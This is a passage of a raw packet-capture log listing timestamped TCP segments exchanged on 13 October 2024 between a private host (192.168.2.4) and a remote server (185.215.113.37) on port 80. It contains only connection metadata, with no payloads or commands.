Oct 13, 2024 11:54:13.995158911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995183945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995209932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995220900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995244980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995275974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995294094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995296001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995330095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995349884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995362997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995382071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995419979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995429039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995450020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995485067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995502949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995506048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995557070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995568991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995606899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995614052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995640993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995675087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995699883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995709896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995740891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995743036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995762110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995776892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995809078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995811939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995829105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995865107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995863914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995898962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995925903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995934010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995968103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995991945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996001959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996037960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996042013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996057034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996077061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996102095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996110916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996136904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996145964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996180058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996185064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996217966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996218920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996239901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996253014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996284008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996285915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996304035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996320009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996340036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996361971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996377945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996395111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996414900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996428967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996463060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996467113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996484041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996495962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996529102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996534109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996560097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996562004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996578932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996598005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996612072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996632099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996650934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996660948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996684074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996692896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996709108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996728897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996746063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996781111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996802092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996815920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996836901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996850014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996874094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996885061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996906042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996920109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996944904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996954918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.996980906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.996989012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997004032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997025967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997045040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997057915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997092009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997092962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997113943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997124910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997148991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997159958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997188091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997193098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997214079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997227907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997250080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997261047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997287035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997296095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997315884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997329950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997350931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997364044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997390032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997396946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997421026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997432947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997450113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997467995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.997492075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.997526884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.085673094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085724115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085758924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085798979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.085824013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085840940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.085880041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085915089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.085931063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085952997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.085984945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.085989952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086020947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086052895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086055040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086076021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086088896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086123943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086127043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086155891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086189985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086222887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086257935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086257935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086257935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086257935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086257935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086273909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086292028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086322069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086329937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086339951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086386919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086397886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086451054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086456060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086507082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086510897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086616039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086617947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086652040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086675882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086702108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086713076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086735964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086771965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086790085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086826086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086828947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086877108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.086884022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086935997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086986065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.086987972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087035894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087035894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087070942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087089062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087104082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087122917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087138891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087177992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087192059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087201118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087229967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087266922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087285995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087300062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087320089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087328911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087352991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087378979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087409973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087492943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087546110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087551117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087583065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087614059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087615013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087649107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087649107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087676048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087701082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087713957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087735891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087788105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087791920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087822914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087841034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087863922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087897062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087897062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087925911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087932110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087965965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.087980986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087980986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.087999105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088016987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088052034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088056087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088082075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088104963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088134050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088135004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088167906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088188887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088198900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088232994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088242054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088253021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088264942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088285923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088316917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088334084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088350058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088382959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088382959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088416100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088424921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088449955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088450909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088459969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088484049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088510036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088517904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088546038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088551998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088582993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088587999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088619947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088620901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088639021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088654995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088665009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088690996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088711023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088726997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088758945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088761091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088793993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088798046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088824987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088825941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088851929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088859081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088871002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088891983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088923931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088928938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088960886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088963985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.088982105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.088999033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089030981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089065075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089095116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089102983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089128971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089138985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089160919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089162111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089195013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089196920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089212894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089230061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089253902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089262962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089279890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089298964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089312077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089334011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089348078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089366913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089382887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089400053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089416027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089432955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089449883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089466095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089499950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089518070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089533091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089555979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089565039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089592934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089601994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089610100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089636087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089654922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089670897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089689970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089704037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089724064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089736938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089761019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089768887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089787960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089802980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089821100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089838028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089854956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089870930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.089890003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.089905024 CEST	80	49730	185.215.113.37	192.168.2.4
